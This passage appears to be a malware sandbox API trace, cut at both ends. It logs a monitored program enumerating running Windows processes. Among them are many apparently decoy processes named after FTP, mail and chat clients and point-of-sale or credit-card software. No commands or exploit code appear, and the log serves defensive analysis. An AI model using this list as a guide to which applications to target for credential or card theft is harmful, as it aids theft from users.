cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.122] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.124] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.127] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.129] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.131] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0121.133] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.138] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.140] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0121.141] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0121.143] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0121.145] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.147] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0121.149] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0121.151] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0121.153] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.155] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.156] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0121.158] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.160] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.162] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.164] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.166] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.168] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.170] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0121.172] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.174] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0121.175] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0121.177] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0121.179] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0121.181] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0121.183] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0121.185] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0121.188] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0121.190] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0121.192] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0121.194] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0121.196] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0121.198] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0121.203] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0121.205] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0121.207] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0121.209] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0121.211] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0121.214] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0121.216] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0121.218] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0121.221] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0121.223] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0121.226] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0121.233] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0121.262] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0121.270] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0121.272] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0121.274] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0121.277] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0121.279] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0121.281] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0121.284] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0121.286] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0121.290] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0121.292] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0121.295] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0121.297] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0121.299] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0121.302] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0121.304] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0121.306] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0121.308] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0121.310] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0121.312] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0121.314] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0121.316] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0121.319] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0121.321] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0121.323] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0121.325] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0121.327] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0121.329] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0121.331] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0121.333] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0121.335] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0121.337] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0121.339] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 